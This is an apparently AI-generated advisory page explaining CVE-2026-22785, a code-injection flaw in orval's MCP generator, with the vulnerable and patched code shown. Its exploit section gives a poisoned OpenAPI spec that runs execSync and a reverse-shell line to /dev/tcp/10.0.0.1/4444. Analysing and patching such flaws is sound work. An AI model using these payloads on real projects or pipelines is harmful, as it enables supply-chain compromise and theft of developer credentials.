CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22785
9.30.02%

Orval RCE: When Your API Spec Writes Malicious Code

Alon Barad
Alon Barad
Software Engineer

Feb 20, 2026·5 min read·17 visits

PoC Available

Executive Summary (TL;DR)

Orval blindly interpolates OpenAPI 'summary' fields into generated TypeScript code. Attackers can inject a malicious payload into the spec, which Orval then writes into the source code. When developers run or import this code, the payload executes. Fixed in 7.18.0.

A Critical Remote Code Execution (RCE) vulnerability exists in the 'orval' library (versions < 7.18.0) within its Model Context Protocol (MCP) server generation logic. By crafting a malicious OpenAPI specification, an attacker can inject arbitrary JavaScript code into the resulting TypeScript files generated by the tool. This turns a standard development utility into a Trojan horse, executing malicious commands on developer machines and CI/CD pipelines immediately upon file import or execution.

The Hook: The Trojan Horse in Your API Spec

In the modern development stack, we treat 'Infrastructure as Code' and 'Docs as Code' as gospel. Tools like orval are the high priests of this religion, taking your OpenAPI specifications and miraculously transmuting them into type-safe TypeScript clients and servers. It is automation at its finest. But here is the dark joke of automation: if you blindly trust the input, your automation becomes a weapon.

CVE-2026-22785 is not a runtime vulnerability in the traditional sense. It doesn't exist in a listening service you expose to the internet. It exists in the build tool itself. This is a vulnerability in the compiler, so to speak. The specific component at fault here is the generator for the Model Context Protocol (MCP) server.

Why is this juicy? Because this code runs on developer laptops with read/write access to source code, SSH keys, and cloud credentials. It runs in CI/CD pipelines with secrets injected into the environment. If I can trick your generator into writing my code into your project, I don't need to bypass your firewall. You just invited me in, compiled me, and ran me with sudo privileges.

The Flaw: String Concatenation, The Root of All Evil

The root cause of this vulnerability is a tale as old as time: trusting user input. Specifically, the developers at Orval Labs committed the cardinal sin of code generation—constructing code by concatenating strings without sanitization.

When orval generates an MCP server, it iterates through the operations defined in your OpenAPI spec (Swagger). It looks for fields like operationId and summary to create nice, descriptive tool definitions. Ideally, a generator should treat these text fields as data, escaping them to ensure they remain string literals in the final output.

Instead, the vulnerable code took the summary field and dropped it raw into a TypeScript template string. It assumed the summary would be harmless text like "Get user details". But what if the summary contains a single quote? Or a closing parenthesis? Or a semicolon? The generator didn't ask these questions. It just pasted the text, unknowingly allowing an attacker to 'break out' of the string literal syntax and inject executable JavaScript logic directly into the AST of the generated file.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability lived in packages/mcp/src/index.ts. Below is a simplified view of how the sausage was made (badly).

The Vulnerable Logic:

The code constructs a call to server.tool(). Notice how verbOption.summary is interpolated directly inside single quotes.

// packages/mcp/src/index.ts (Vulnerable)
const toolImplementation = `
server.tool(
  '${verbOption.operationName}',
  '${verbOption.summary}', // <--- DIRECT INJECTION HERE
  ${verbOption.operationName}Handler
);`;

If verbOption.summary is My Summary, the output is valid: 'My Summary'.

However, if I change the summary to ' + process.exit(1) + ', the output becomes:

server.tool(
  'opName',
  '' + process.exit(1) + '', 
  handler
);

The Fix:

The fix provided in version 7.18.0 is straightforward. They introduced a utility called jsStringEscape to sanitize the input before interpolation.

// packages/mcp/src/index.ts (Patched)
const toolImplementation = `
server.tool(
  '${jsStringEscape(verbOption.operationName)}', 
  '${jsStringEscape(verbOption.summary)}', // <--- SANITIZED
  ${jsStringEscape(verbOption.operationName)}Handler
);`;

This forces any special characters (like single quotes) to be escaped, ensuring the summary remains a harmless string literal.

The Exploit: Crafting the Payload

To exploit this, we don't need a complex buffer overflow or heap spray. We just need to know basic JavaScript syntax. We are looking for a payload that closes the initial string context, executes our arbitrary command, and then cleans up the syntax so the generated file is still valid TypeScript (otherwise the build might fail with a syntax error, alerting the developer).

Step 1: The Malicious Spec

We create a YAML file mimicking a standard API definition, but we poison the summary field.

openapi: 3.0.0
info:
  title: Trojan API
  version: 1.0.0
paths:
  /pwned:
    get:
      operationId: getPwned
      # The payload breaks out of the single quote, executes code, 
      # and comments out the trailing quote generated by Orval.
      summary: "' + require('child_process').execSync('calc') + '//"
      responses:
        '200':
          description: OK

Step 2: The Generation

The victim runs orval --input ./malicious-spec.yaml. The tool runs without errors.

Step 3: The Resulting File

Orval generates server.ts. Look at the horror:

server.tool(
  'getPwned',
  'API.' + require('child_process').execSync('calc') + '//',
  getPwnedHandler
);

Step 4: Execution

The moment this file is imported or run (node server.ts), Node.js evaluates the expression. execSync('calc') runs immediately. On a headless server, this would be a reverse shell: require('child_process').execSync('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1').

The Impact: Why This Matters

This vulnerability bypasses the traditional perimeter. Security teams spend millions on WAFs, EDRs, and container hardening for production environments. But this exploit hits the soft underbelly: the build chain.

  1. Supply Chain Poisoning: An attacker submits a Pull Request to an open-source project that uses Orval. The PR includes a "documentation update" to the OpenAPI spec. The maintainer pulls the branch and runs the generator to verify the build. Game over. The maintainer's machine is compromised.
  2. CI/CD Takeover: Automated pipelines often fetch specs from remote URLs or repositories. If the source of the OpenAPI spec is compromised, the CI runner (which often has privileged access to deploy to production) executes the malicious code during the build step.

This is a 9.3 Critical because it requires zero authentication and provides full execution capabilities in a trusted context.

Official Patches

GitHubCommit fixing the string interpolation issue

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.02%
Top 94% most exploited

Affected Systems

orval < 7.18.0Node.js development environmentsCI/CD pipelines using orval

Affected Versions Detail

Product
Affected Versions
Fixed Version
orval
orval-labs
< 7.18.07.18.0
AttributeDetail
CWECWE-77 (Command Injection)
CVSS v4.09.3 (Critical)
Attack VectorNetwork (Malicious Spec File)
Privileges RequiredNone
ImpactRemote Code Execution (RCE)
StatusPatched / PoC Public

MITRE ATT&CK Mapping

T1059.003Command and Scripting Interpreter: JavaScript
Execution
T1195Supply Chain Compromise
Initial Access
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Known Exploits & Detection

GitHubPublic PoC showing command execution via OpenAPI summary field

Vulnerability Timeline

Vulnerability Published
2026-01-12
Patch Merged (v7.18.0)
2026-01-13
Public PoC Released
2026-01-17

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.